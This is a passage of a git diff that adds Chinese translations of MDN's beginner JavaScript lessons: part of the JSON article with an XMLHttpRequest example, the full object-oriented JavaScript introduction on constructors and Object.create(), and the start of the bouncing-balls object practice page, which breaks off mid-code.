文件出错。您应该小心的检查您想使用的数据(虽然计算机生成的 JSON 很少出错,只要生成程序正常工作)。您可以通过像 <a href="http://jsonlint.com/">JSONLint</a> 的应用程序来检验 JSON。</li> + <li>JSON 可以将任何标准合法的 JSON 数据格式化保存,不只是数组和对象。比如,一个单一的字符串或者数字可以是合法的 JSON 对象。虽然不是特别有用处……</li> + <li>与 JavaScript 代码中对象属性可以不加引号不同,JSON 中只有带引号的字符串可以用作属性。</li> +</ul> + +<h2 id="主动学习_一个JSON_示例">主动学习 : 一个JSON 示例</h2> + +<p>好了,让我们通过运行这个示例来展示我们如何利用JSON数据。</p> + +<h3 id="开始吧">开始吧</h3> + +<p>首先,拷贝我们的 <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/heroes.html">heroes.html</a> 和 <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/style.css">style.css</a> 文件。后者包含了用于页面的简单的 CSS ,前者包含了简单的 HTML body。</p> + +<pre class="brush: html notranslate"><header> +</header> + +<section> +</section></pre> + +<p>添加 <code><script></code>元素来包含我们的 JavaScript 代码。当前它只有两行,获得了<code><header></code>和<code><section></code>的引用,保存在变量中。</p> + +<pre class="brush: js notranslate">var header = document.querySelector('header'); +var section = document.querySelector('section'); +</pre> + +<p>我们已经把 JSON 数据放在了GitHub 上面:<a href="https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json" rel="noopener">https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json</a></p> + +<p>我们准备把它加载到我们的页面中,然后使用漂亮的 DOM 操作来展示它,就像这样:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13857/json-superheroes.png" style="display: block; margin: 0 auto;"></p> + +<h3 id="加载我们的JSON">加载我们的JSON</h3> + +<p>为了载入 JSON 到页面中,我们将使用 一个名为<code>XMLHTTPRequest</code>的API(常称为XHR)。这是一个非常有用的 JavaScript 对象,使我们能够通过代码来向服务器请求资源文件(如:图片,文本,JSON,甚至HTML片段),意味着我们可以更新小段内容而不用重新加载整个页面。这将有更多响应页面,听起来让人兴奋,但是这部分超出我们本部分的文章,所以就不多详述了。</p> + +<ol> + <li>首先,我们将保存一个即将访问的 URL 作为变量。在您的 JavaScript 代码的底部添加下面的代码: + <pre class="brush: js notranslate">var requestURL = '<a href="https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json" rel="noopener">https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json</a>';</pre> + </li> + <li>为了创建一个HTTP请求,我们需要创建一个HTTP请求对象,通过 new 构造函数的形式。在您最下面的代码中写入: + <pre class="brush: js notranslate">var request = new XMLHttpRequest();</pre> + </li> + <li>现在我们需要使用 <code><a href="/en-US/docs/Web/API/XMLHttpRequest/open">open()</a></code> 函数打开一个新的请求,添加如下代码: + <pre class="brush: js notranslate">request.open('GET', requestURL);</pre> + + <p>这个函数至少含有两个参数,其它的是可选参数。对于示例我们只需要两个强制参数</p> + + <ul> + <li>HTTP 方法,网络连接时使用。这个示例中 <code><a href="/en-US/docs/Web/HTTP/Methods/GET">GET</a></code> 就可以了,因为我们只要获得简单的数据。</li> + <li>URL,用于指向请求的地址。我们使用之前保存的变量。</li> + </ul> + </li> + <li>接下来,添加,两行代码,我们设定 <code><a href="/en-US/docs/Web/API/XMLHttpRequest/responseType">responseType</a></code> 为 JSON,所以服务器将知道我们想要返回一个 JSON 对象,然后发送请求 : + <pre class="brush: js notranslate">request.responseType = 'json'; +request.send();</pre> + </li> + <li>最后一点内容涉及相应来自服务器的返回数据,然后处理它,添加如下代码在您先前的代码下方: + <pre class="brush: js notranslate">request.onload = function() { + var superHeroes = request.response; + populateHeader(superHeroes); + showHeroes(superHeroes); +}</pre> + </li> +</ol> + +<p>这儿我们保存了相应我们请求的数据(访问 <code><a href="/en-US/docs/Web/API/XMLHttpRequest/response">response</a></code> 属性) 于变量 <code>superHeroes</code> ;这个变量现在含有 JSON!我们现在把<code>superHeroes</code>传给两个函数,第一个函数将会用正确的数据填充<code><header></code>,同时第二个函数将创建一个信息卡片,然后把它插入<code><section></code>中。</p> + +<p>我们把代码包在事件处理函数中,当请求对象<code>load</code>事件触发时执行代码(<code>见<a href="/en-US/docs/Web/API/XMLHttpRequestEventTarget/onload">onload</a></code>),这是因为请求对象<code>load</code>事件只有在请求成功时触发;这种方式可以保证事件触发时 <code>request.response </code>是绝对可以访问的。</p> + +<h3 id="定位_header">定位 header</h3> + +<p>现在我们已经获得我们的JSON数据,让我们利用它来写两个我们使用的函数。首先,添加下面的代码于之前的代码下方:</p> + +<pre class="brush: js notranslate">function populateHeader(jsonObj) { + var myH1 = document.createElement('h1'); + myH1.textContent = jsonObj['squadName']; + header.appendChild(myH1); + + var myPara = document.createElement('p'); + myPara.textContent = 'Hometown: ' + jsonObj['homeTown'] + ' // Formed: ' + jsonObj['formed']; + header.appendChild(myPara); +}</pre> + +<p>我们称参数为 <code>jsonObj</code>,那也是为什么我们要在其中调用 JSON 对象。这儿我们首先使用 <code><a href="/en-US/docs/Web/API/Document/createElement">createElement()</a> </code>创建了一个 <code><h1></code> 节点,将它的 <code><a href="/en-US/docs/Web/API/Node/textContent">textContent</a></code> 设为 JSON 对象的 <code>squadName</code> 属性,然后通过 <code><a href="/en-US/docs/Web/API/Node/appendChild">appendChild()</a> </code>把它加入 <code><header></code>中。然后我们对段落做了相同的一件事情:创建,设置内容,追加到 <code><header></code>。唯一的不同在于它的内容设为一个与 JSON 内属性 <code>homeTown </code>和<code>formed</code>相关联的字符串。</p> + +<h3 id="创建英雄信息卡片">创建英雄信息卡片</h3> + +<p>接下来,添加如下的函数到脚本代码底部,这个函数创建和展示了<code>superhero cards</code>:</p> + +<pre class="brush: js notranslate">function showHeroes(jsonObj) { + var heroes = jsonObj['members']; + + for(i = 0; i < heroes.length; i++) { + var myArticle = document.createElement('article'); + var myH2 = document.createElement('h2'); + var myPara1 = document.createElement('p'); + var myPara2 = document.createElement('p'); + var myPara3 = document.createElement('p'); + var myList = document.createElement('ul'); + + myH2.textContent = heroes[i].name; + myPara1.textContent = 'Secret identity: ' + heroes[i].secretIdentity; + myPara2.textContent = 'Age: ' + heroes[i].age; + myPara3.textContent = 'Superpowers:'; + + var superPowers = heroes[i].powers; + for(j = 0; j < superPowers.length; j++) { + var listItem = document.createElement('li'); + listItem.textContent = superPowers[j]; + myList.appendChild(listItem); + } + + myArticle.appendChild(myH2); + myArticle.appendChild(myPara1); + myArticle.appendChild(myPara2); + myArticle.appendChild(myPara3); + myArticle.appendChild(myList); + + section.appendChild(myArticle); + } +}</pre> + +<p>首先,我们保存了 JSON 的 <code>members </code>属性作为一个变量。这个数组含有多个带有英雄信息的对象。</p> + +<p>接下来,我们使用一个循环来,遍历每个元素。对于每一个元素,我们:</p> + +<ol> + <li>创建几个元素: 一个 <code><article></code>,一个 <code><h2></code>, 三个 <code><p></code>s, 和一个 <code><ul>。</code></li> + <li>设置 <code><h2></code> 为当前英雄的 <code>name</code>。</li> + <li>使用他们的<code>secretIdentity</code>, <code>age</code>, "Superpowers:" 介绍信息列表 填充三个段落来。</li> + <li>保存 <code>powers</code> 属性于另一个变量 <code>superPowers</code>,包含英雄的<code>superpowers</code>列表。</li> + <li>使用另一个循环来遍历当前的英雄的 <code>superpowers</code> ,对于每一个元素我们创建<code><li></code>元素,把<code>superpower</code>放进去,然后使用<code>appendChild()</code>把 <code>listItem</code> 放入<code><ul></code> 元素中。</li> + <li>最后一件事情是追加<code><h2>,<p><font face="Open Sans, arial, x-locale-body, sans-serif">,还有</font></code><code><ul>进入</code> <code><article></code> (<code>myArticle</code>)。然后将<code><article></code> 追加到 <code><section></code>。追加的顺序很重要,因为他们将被展示在 HTML 中。</li> +</ol> + +<div class="note"> +<p><strong>Note</strong>: 如有疑难,试试引用我们的 <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/heroes-finished.html">heroes-finished.html</a> 代码(也可见 <a href="http://mdn.github.io/learning-area/javascript/oojs/json/heroes-finished.html">running live</a> )。</p> +</div> + +<div class="note"> +<p><strong>Note</strong>: 如果您对访问 JSON对象的 点/括号标记 有困扰。获得文件 <a href="http://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json">superheroes.json</a> 并在您的编辑器中打开参考我们的 JS 代码将会有帮助。您还应该参考我们的 <a href="/en-US/docs/Learn/JavaScript/Objects/Basics">JavaScript object basics</a>文章,了解关于点和括号符号的更多信息。</p> +</div> + +<h2 id="对象和文本间的转换">对象和文本间的转换</h2> + +<p>上述示例就访问 JSON 而言是简单的,因为我们设置了 XHR 来访问 JSON 格式数据: </p> + +<pre class="brush: js notranslate">request.responseType = 'json';</pre> + +<p>但是有时候我们没有那么幸运,我们接收到一些 字符串作为 JSON 数据,然后我们想要将它转换为对象。当我们想要发送 JSON 数据作为信息,我们将需要转换它为字符串,我们经常需要正确的转换数据,幸运的是,这两个问题在web环境中是那么普遍以至于浏览器拥有一个内建的 JSON,包含以下两个方法。</p> + +<ul> + <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse">parse()</a></code>: 以文本字符串形式接受JSON对象作为参数,并返回相应的对象。</li> + <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify">stringify()</a></code>: 接收一个对象作为参数,返回一个对应的JSON字符串。</li> +</ul> + +<p>您可以看看我们 <a href="http://mdn.github.io/learning-area/javascript/oojs/json/heroes-finished-json-parse.html">heroes-finished-json-parse.html</a> 示例的第一个操作 (见 <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/heroes-finished-json-parse.html">source code</a>) ,除了返回的是 text,这做了一件与我们之前一模一样的事情,然后使用 <code>parse()</code> 来将他转换成为 JavaScript 对象。关键片段如下:</p> + +<pre class="brush: js notranslate">request.open('GET', requestURL); +request.responseType = 'text'; // now we're getting a string! +request.send(); + +request.onload = function() { + var superHeroesText = request.response; // get the string from the response + var superHeroes = JSON.parse(superHeroesText); // convert it to an object + populateHeader(superHeroes); + showHeroes(superHeroes); +}</pre> + +<p>正如您所想, <code>stringify()</code> 做相反的事情. 尝试将下面的代码输入您的浏览器 JS 控制台来看看会发生什么:</p> + +<pre class="brush: js notranslate">var myJSON = { "name" : "Chris", "age" : "38" }; +myJSON +var myString = JSON.stringify(myJSON); +myString</pre> + +<p>这儿我们创建了一个JavaScript 对象,然后检查了它包含了什么,然后用<code>stringify()</code> 将它转换成JSON字符串,最后保存返回值作为变量。然后再一次检查。</p> + +<h2 id="总结">总结</h2> + +<p>在这个文章中,我们给了您一个简单的示例来在自己的程序中使用 JSON,包括创建和处理 JSON,还有如何访问 JSON 内的数据。在下一篇文章中我们将开始关注JS中的面向对象内容。</p> + +<h2 id="参见">参见</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON">JSON object reference page</a></li> + <li><a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHTTPRequest object reference page</a></li> + <li><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Using XMLHTTPRequest</a></li> + <li><a href="/en-US/docs/Web/HTTP/Methods">HTTP request methods</a></li> +</ul> + +<p>{{PreviousMenuNext("Learn/JavaScript/Objects/Inheritance", "Learn/JavaScript/Objects/Object_building_practice", "Learn/JavaScript/Objects")}}</p> diff --git a/files/zh-cn/learn/javascript/objects/object-oriented_js/index.html b/files/zh-cn/learn/javascript/objects/object-oriented_js/index.html new file mode 100644 index 0000000000..e20c345337 --- /dev/null +++ b/files/zh-cn/learn/javascript/objects/object-oriented_js/index.html @@ -0,0 +1,267 @@ +--- +title: 适合初学者的JavaScript面向对象 +slug: Learn/JavaScript/Objects/Object-oriented_JS +translation_of: Learn/JavaScript/Objects/Object-oriented_JS +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/Objects/Basics", "Learn/JavaScript/Objects/Object_prototypes", "Learn/JavaScript/Objects")}}</div> + +<p class="summary">学完基础后, 现在我们集中于面向对象的 JavaScript (OOJS) — 本文首先提出了面向对象编程(OOP) 理论的基本观点,然后探索如何通过构造函数模拟对象类,以及如何创建对象.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td>计算机基础知识, 了解 HTML 和 CSS, 熟悉 JavaScrpit 基础知识 (查看 <a href="/en-US/docs/Learn/JavaScript/First_steps">First steps</a> 和 <a href="/en-US/docs/Learn/JavaScript/Building_blocks">Building blocks</a>) 和 OOJS 基础 (查看 <a href="/en-US/docs/Learn/JavaScript/Object-oriented/Introduction">Introduction to objects</a>).</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>掌握面向对象程序的基本理论, 这涉及到 JavaScript 的("万物皆对象"), 以及如何创建构造器和对象.</td> + </tr> + </tbody> +</table> + +<h2 id="从零开始面向对象的程序设计">从零开始面向对象的程序设计</h2> + +<p>首先,我们从高维度且简化的角度看看 面向对象的程序(Object-oriented programming ,OOP)是什么。我们将简单描述OOP,因为OOP该概念已变得很复杂,如果完整地描述OOP将使读者难以理解。OOP 的基本思想是:在程序里,我们通过使用对象去构建现实世界的模型,把原本很难(或不可)能被使用的功能,简单化并提供出来,以供访问。</p> + +<p>对象可以包含相关的数据和代码,这些数据和代码用于表示 你所建造的模型是什么样子,以及拥有什么样的行为或功能。<span>对象包(</span>object package<span>,或者叫命名空间 </span>namespace<span>)存储(官方用语:</span><strong>封装</strong><span>)着对象的数据(常常还包括函数),使数据的组织和访问变得更容易了;对象也常用作 数据存储体(</span>data stores<span>),用于在网络上运输数据,十分便捷。</span></p> + +<h3 id="定义一个对象模板">定义一个对象模板</h3> + +<p>让我们来考虑一个简单的程序,它可以显示一个学校的学生和老师的信息.在这里我们不讨论任何程序语言,我们只讨论 OOP 思想.</p> + +<p>首先,我们可以回到上一节拿到定义好属性和方法的Person对象。对于一个人(person)来说,我们能在他们身上获取到很多信息(他们的住址,身高,鞋码,基因图谱,护照信息,显著的性格特征等等),然而,我们仅仅需要他们的名字,年龄,性别,兴趣 这些信息,然后,我们会基于他们的这些信息写一个简短的介绍关于他们自己,在最后我们还需要教会他们打招呼。以上的方式被称为抽象-为了我们编程的目标而利用事物的一些重要特性去把复杂的事物简单化</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13889/person-diagram.png" style="display: block; height: 219px; margin: 0px auto; width: 610px;"></p> + +<p>在一些面向对象的语言中,我们用类(class)的概念去描述一个对象(您在下面就能看到JavaScript使用了一个完全不同的术语)-类并不完全是一个对象,它更像是一个定义对象特质的模板。</p> + +<h3 id="创造一个真正的对象">创造一个真正的对象</h3> + +<p>从上面我们创建的class中, 我们能够基于它创建出一些对象 - 一些拥有class中属性及方法的对象。基于我们的Person类,我们可以创建出许许多多的真实的人:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13883/MDN-Graphics-instantiation-2.png" style="display: block; height: 743px; margin: 0px auto; width: 700px;"></p> + +<p>当一个对象需要从类中创建出来时,类的构造函数就会运行来创建这个实例。这种创建对象的过程我们称之为实例化-实例对象被类实例化。</p> + +<h3 id="具体的对象">具体的对象</h3> + +<p>在这个例子里,我们不想要泛指的人,我们想要像老师和学生这样类型更为具体的人。在 OOP 里,我们可以创建基于其它类的新类,这些新的子类可以继承它们父类的数据和功能。比起复制来说这样能够使用父对象共有的功能。如果类之间的功能不同,你可以根据需要定义专用的特征。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13881/MDN-Graphics-inherited-3.png" style="display: block; height: 743px; margin: 0px auto; width: 700px;"></p> + +<p>这是非常有用的,老师和学生具有一些相同的特征比如姓名、性别、年龄,因此只需要定义这些特征一次就可以了。您可以在不同的类里分开定义这些相同的特征,这样该特征会有一个不同的命名空间。比如,一个学生的 greeting 可以是 "Yo, I'm [firstName]" (例子 <em>Yo, I'm Sam</em>),老师的可能会正式一些,比如"Hello, my name is [Prefix] [lastName]" (例子 <em>Hello, My name is Mr Griffiths</em>)。</p> + +<div class="note"> +<p><strong>注:</strong><strong>多态</strong>——这个高大上的词正是用来描述多个对象拥有实现共同方法的能力。</p> +</div> + +<p>现在可以根据子类创建对象。如:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13885/MDN-Graphics-instantiation-teacher-3.png" style="display: block; height: 743px; margin: 0px auto; width: 700px;">下面我们来看看 OOP 理论如何应用到 JavaScript 实践中去的。</p> + +<h2 id="构建函数和对象">构建函数和对象</h2> + +<p>有些人认为 JavaScript 不是真正的面向对象的语言,比如它没有像许多面向对象的语言一样有用于创建class类的声明。JavaScript 用一种称为<strong>构建函数</strong>的特殊函数来定义对象和它们的特征。构建函数非常有用,因为很多情况下您不知道实际需要多少个对象(实例)。<strong>构建函数</strong>提供了创建您所需对象(实例)的有效方法,将对象的数据和特征函数按需联结至相应对象。</p> + +<p>不像“经典”的面向对象的语言,从构建函数创建的新实例的特征并非全盘复制,而是通过一个叫做原形链的参考链链接过去的。(参见 <a href="/en-US/docs/Learn/JavaScript/Objects/Object_prototypes">Object prototypes</a>),所以这并非真正的实例,严格的讲, JavaScript 在对象间使用和其它语言的共享机制不同。</p> + +<div class="note"> +<p><strong>注:</strong> “经典”的面向对象的语言并非好事,就像上面提到的,OOP 可能很快就变得非常复杂,JavaScript 找到了在不变的特别复杂的情况下利用面向对象的优点的方法。</p> +</div> + +<p>让我们来看看 JavaScript 如何通过构建函数对象来创建类。首先,请先复制一个新的前文提到的<a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs.html">oojs.html</a> 。</p> + +<h3 id="一个简单的例子">一个简单的例子</h3> + +<ol> + <li>让我们看看如何通过一个普通的函数定义一个”人“。在您的文件中添加以下代码: + <pre class="brush: js notranslate">function createNewPerson(name) { + var obj = {}; + obj.name = name; + obj.greeting = function () { + alert('Hi! I\'m ' + this.name + '.'); + } + return obj; +}</pre> + </li> + <li>您现在可以通过调用这个函数创建一个新的叫 salva 的人,在您浏览器的JavaScript console 试试 : + <pre class="brush: js notranslate">var salva = createNewPerson('salva'); +salva.name; +salva.greeting();</pre> + 上述代码运行良好,但是有点冗长;如果我们知道如何创建一个对象,就没有必要创建一个新的空对象并且返回它。幸好 JavaScript 通过构建函数提供了一个便捷的方法,方法如下:</li> + <li>将之前的代码用如下代码代替: + <pre class="brush: js notranslate">function Person(name) { + this.name = name; + this.greeting = function() { + alert('Hi! I\'m ' + this.name + '.'); + }; +}</pre> + </li> +</ol> + +<p>这个构建函数是 JavaScript 版本的类。您会发现,它只定义了对象的属性和方法,除了没有明确创建一个对象和返回任何值和之外,它有了您期待的函数所拥有的全部功能。这里使用了<code>this</code>关键词,即无论是该对象的哪个实例被这个构建函数创建,它的 <code>name</code> 属性就是传递到构建函数形参<code>name</code>的值,它的 <code>greeting()</code> 方法中也将使用相同的传递到构建函数形参<code>name</code>的值。</p> + +<div class="note"> +<p><strong>注:</strong> 一个构建函数通常是大写字母开头,这样便于区分构建函数和普通函数。</p> +</div> + +<p>那如何调用构建函数创建新的实例呢?</p> + +<ol> + <li>将下面的代码加在您之前的代码下面: + <pre class="brush: js notranslate">var person1 = new Person('Bob'); +var person2 = new Person('Sarah');</pre> + </li> + <li>保存并刷新浏览器,在 console 里输入如下代码: + <pre class="brush: js notranslate">person1.name +person1.greeting() +person2.name +person2.greeting()</pre> + </li> +</ol> + +<p>酷!您现在看到页面上有两个对象,每一个保存在不同的命名空间里,当您访问它们的属性和方法时,您需要使用<code>person1</code>或者<code>person2</code>来调用它们。尽管它们有着相同的<code>name</code>属性和 <code>greeting()</code>方法它们是各自独立的,所以相互的功能不会冲突。注意它们使用的是自己的 name 值,这也是使用 this 关键字的原因,它们使用的从实参传入形参的自己的值,而不是其它的什么值。</p> + +<p>再看看这个构造对象的语法:</p> + +<pre class="brush: js notranslate">var person1 = new Person('Bob'); +var person2 = new Person('Sarah');</pre> + +<p>上述代码中,关键字 <code>new</code> 跟着一个含参函数,用于告知浏览器我们想要创建一个对象,非常类似函数调用,并把结果保存到变量中。每个示例类都是根据下面的方式定义的。</p> + +<pre class="brush: js notranslate">function Person(name) { + this.name = name; + this.greeting = function() { + alert('Hi! I\'m ' + this.name + '.'); + }; +} +</pre> + +<p>当新的对象被创立, 变量<code>person1</code>与<code>person2</code>有效地包含了以下值:</p> + +<pre class="brush: js notranslate">{ + name : 'Bob', + greeting : function() { + alert('Hi! I\'m ' + this.name + '.'); + } +} + +{ + name : 'Sarah', + greeting : function() { + alert('Hi! I\'m ' + this.name + '.'); + } +}</pre> + +<p>值得注意的是每次当我们调用构造函数时,我们都会重新定义一遍 greeting(),这不是个理想的方法。为了避免这样,我们可以在原型里定义函数,接下来我们会讲到。</p> + +<h3 id="创建我们最终的构造函数">创建我们最终的构造函数</h3> + +<p>上面的例子仅仅是简单地介绍如何开始。让我们现在开始创建<code>Person()</code>构造函数。</p> + +<ol> + <li>移除掉您之前写的所有代码, 用如下构造函数替代 —— 实现原理上,这与我们之前的例子并无二致, 只是变得稍稍复杂了些: + <pre class="brush: js notranslate">function Person(first, last, age, gender, interests) { + this.name = { + 'first': first, + 'last': last + }; + this.age = age; + this.gender = gender; + this.interests = interests; + this.bio = function() { + alert(this.name.first + ' ' + this.name.last + ' is ' + this.age + ' years old. He likes ' + this.interests[0] + ' and ' + this.interests[1] + '.'); + }; + this.greeting = function() { + alert('Hi! I\'m ' + this.name.first + '.'); + }; +};</pre> + </li> + <li>接下来加上这样一行代码, 用来创建它的一个对象: + <pre class="brush: js notranslate">var person1 = new Person('Bob', 'Smith', 32, 'male', ['music', 'skiing']);</pre> + </li> +</ol> + +<p>这样,您就可以像我们定义第一个对象一样访问它的属性和方法了:</p> + +<pre class="brush: js notranslate">person1['age'] +person1.interests[1] +person1.bio() +// etc.</pre> + +<div class="note"> +<p><strong>注:</strong> 如果您对这一部分有疑问, 尝试将您的代码与我们的版本做比较 —— 戳链接: <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs-class-finished.html">oojs-class-finished.html</a> (或者: <a href="http://mdn.github.io/learning-area/javascript/oojs/introduction/oojs-class-further-exercises.html">查看它的实现</a>).</p> +</div> + +<h3 id="进一步的练习">进一步的练习</h3> + +<p>首先, 尝试着写几行代码创建您自己的对象, 接着,尝试getting与setting对象中的成员。</p> + +<p>此外, 我们的<code>bio()</code>方法里仍有一些问题 —— 尽管您创建的Person是女性,或者是些别的性别类型,输出里的代词都总是 "He"。 而且, 纵然您有更多的兴趣列举在<code>interests</code>数组中, bio只会展示您的两个兴趣。 您能想出如何在类型定义(构造函数)中解决这个问题吗? 您可以按照您喜欢的方式编写构造函数(您可能需要一些条件判断和循环)。 考虑下语句如何根据性别、兴趣列表中兴趣的数目异构。</p> + +<div class="note"> +<p><strong>注:</strong>如果您觉得困难, 我们在我们的<a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs-class-further-exercises.html">GitHub仓库</a>里作了回答(<a href="http://mdn.github.io/learning-area/javascript/oojs/introduction/oojs-class-further-exercises.html">查看它的实现</a>) ——但首先请您尝试着自己写出来。</p> +</div> + +<h2 id="创建对象的其他方式">创建对象的其他方式</h2> + +<p>到现在为止,我们了解到了两种不同的创建对象的方式 —— <a href="/en-US/docs/Learn/JavaScript/Objects/Basics#Object_basics">声明一个对象的语法</a>, 与使用构造函数(回顾上面)。</p> + +<p>这些方法都是很有用的, 但仍有其他的方法 —— 我们希望您能熟悉这些,以免您在Web世界的旅行中碰到它们。</p> + +<h3 id="Object构造函数">Object()构造函数</h3> + +<p>首先, 您能使用<code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object">Object()</a></code>构造函数来创建一个新对象。 是的, 一般对象都有构造函数,它创建了一个空的对象。</p> + +<ol> + <li>尝试在您浏览器中的Javascript控制台中输入以下代码: + <pre class="brush: js notranslate">var person1 = new Object();</pre> + </li> + <li>这样就在<code>person1</code>变量中存储了一个空对象。然后, 可以根据需要, 使用点或括号表示法向此对象添加属性和方法;试试这个例子: + <pre class="brush: js notranslate">person1.name = 'Chris'; +person1['age'] = 38; +person1.greeting = function() { + alert('Hi! I\'m ' + this.name + '.'); +}</pre> + </li> + <li>还可以将对象文本传递给Object() 构造函数作为参数, 以便用属性/方法填充它。请尝试以下操作: + <pre class="brush: js notranslate">var person1 = new Object({ + name : 'Chris', + age : 38, + greeting : function() { + alert('Hi! I\'m ' + this.name + '.'); + } +});</pre> + </li> +</ol> + +<h3 id="使用create方法">使用create()方法</h3> + +<p>JavaScript有个内嵌的方法<code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create">create()</a></code>, 它允许您基于现有对象创建新的对象。</p> + +<ol> + <li>在 JavaScript 控制台中尝试此操作: + <pre class="brush: js notranslate">var person2 = Object.create(person1);</pre> + </li> + <li>现在尝试这个: + <pre class="brush: js notranslate">person2.name +person2.greeting()</pre> + </li> +</ol> + +<p>您可以看到,<code>person2</code>是基于<code>person1</code>创建的, 它们具有相同的属性和方法。这非常有用, 因为它允许您创建新的对象而无需定义构造函数。缺点是比起构造函数,浏览器在更晚的时候才支持create()方法(IE9, IE8 或甚至以前相比), 加上一些人认为构造函数让您的代码看上去更整洁 —— 您可以在一个地方创建您的构造函数, 然后根据需要创建实例, 这让您能很清楚地知道它们来自哪里。</p> + +<p>但是, 如果您不太担心对旧浏览器的支持, 并且您只需要一个对象的一些副本, 那么创建一个构造函数可能会让您的代码显得过度繁杂。这取决于您的个人爱好。有些人发现create() 更容易理解和使用。</p> + +<p>稍后我们将更详细地探讨create() 的效果。</p> + +<h2 id="总结">总结</h2> + +<p>这篇文章简单地介绍了一些面向对象原理 —— 这些描述还不够完整, 但它让您知道我们在这里处理什么。此外, 我们已经开始研究 javascript与 "经典 OOP"的关联与区别, 如何使用构造函数实现 javascript 中的类, 以及生成对象的不同方法。</p> + +<p>在下一篇文章中, 我们将探讨 JavaScript 对象原型。</p> + +<p>{{PreviousMenuNext("Learn/JavaScript/Objects/Basics", "Learn/JavaScript/Objects/Object_prototypes", "Learn/JavaScript/Objects")}}</p> diff --git a/files/zh-cn/learn/javascript/objects/object_building_practice/index.html b/files/zh-cn/learn/javascript/objects/object_building_practice/index.html new file mode 100644 index 0000000000..a5e19db541 --- /dev/null +++ b/files/zh-cn/learn/javascript/objects/object_building_practice/index.html @@ -0,0 +1,454 @@ +--- +title: 实践对象构造 +slug: Learn/JavaScript/Objects/Object_building_practice +tags: + - JavaScript + - 初学者 + - 学习 + - 对象 + - 指南 + - 画布 +translation_of: Learn/JavaScript/Objects/Object_building_practice +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/Objects/JSON", "Learn/JavaScript/Objects/Adding_bouncing_balls_features", "Learn/JavaScript/Objects")}}</div> + +<p class="summary">在前面的文章中,我们学习了 JavaScript 的面向对象理论和基本的语法知识,为之后的学习建立了良好的基础。这篇文章中我们将进行一次实战演练,通过构造 JavaScript 对象得到生动有趣的成果!</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td>基本的计算机知识,了解HTML与CSS的基本概念,熟悉JavaScript基本知识 (请参阅 <a href="/zh-CN/docs/Learn/JavaScript/First_steps">入门</a> 和 <a href="/zh-CN/docs/Learn/JavaScript/Building_blocks">构建块结构</a>)和面向对象的JavaScript (OOJS) 基础 (请参阅 <a href="/zh-CN/docs/Learn/JavaScript/Objects/Basics">对象基础</a>)。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>练习使用对象,在真实环境中应用面向对象开发技术。</td> + </tr> + </tbody> +</table> + +<h2 id="弹跳吧!小彩球!">弹跳吧!小彩球!</h2> + +<p>本文通过编写一个弹球 demo 来展示 JavaScript 中对象的重要性。我们的小球会在屏幕上弹跳,当它们碰到彼此时会变色。最终会像这样:</p> + +<div class="hidden"> +<h6 id="Bouncing_balls">Bouncing balls</h6> + +<pre class="brush: html"><!DOCTYPE html> +<html lang="zh-CN"> + <head> + <meta charset="utf-8"> + <style> + body { + margin: 0; + overflow: hidden; + font-family: 'PingFangSC-Regular', '微软雅黑', sans-serif; + height: 100%; + } + h1 { + font-size: 2rem; + letter-spacing: -1px; + position: absolute; + margin: 0; + top: -4px; + right: 5px; + color: transparent; + text-shadow: 0 0 4px white; + } + </style> + </head> + + <body> + <h1>弹球</h1> + <canvas></canvas> + + <script> +const canvas = document.querySelector('canvas'); +const ctx = canvas.getContext('2d'); + +const width = canvas.width = window.innerWidth; +const height = canvas.height = window.innerHeight; + +function random(min,max) { + const num = Math.floor(Math.random() * (max - min)) + min; + return num; +} + +function randomColor() { + const color = 'rgb(' + + random(0, 255) + ',' + + random(0, 255) + ',' + + random(0, 255) + ')'; + return color; +} + +function Ball(x, y, velX, velY, color, size) { + this.x = x; + this.y = y; + this.velX = velX; + this.velY = velY; + this.color = color; + this.size = size; +} + +Ball.prototype.draw = function() { + ctx.beginPath(); + ctx.fillStyle = this.color; + ctx.arc(this.x, this.y, this.size, 0, 2 * Math.PI); + ctx.fill(); +}; + +Ball.prototype.update = function() { + if((this.x + this.size) >= width) { + this.velX = -(this.velX); + } + + if((this.x - this.size) <= 0) { + this.velX = -(this.velX); + } + + if((this.y + this.size) >= height) { + this.velY = -(this.velY); + } + + if((this.y - this.size) <= 0) { + this.velY = -(this.velY); + } + + this.x += this.velX; + this.y += this.velY; +}; + +Ball.prototype.collisionDetect = function() { + for(let j = 0; j < balls.length; j++) { + if(this !== balls[j]) { + const dx = this.x - balls[j].x; + const dy = this.y - balls[j].y; + const distance = Math.sqrt(dx * dx + dy * dy); + + if (distance < this.size + balls[j].size) { + balls[j].color = this.color = randomColor(); + } + } + } +}; + +let balls = []; + +while(balls.length < 25) { + const size = random(10,20); + let ball = new Ball( + random(0 + 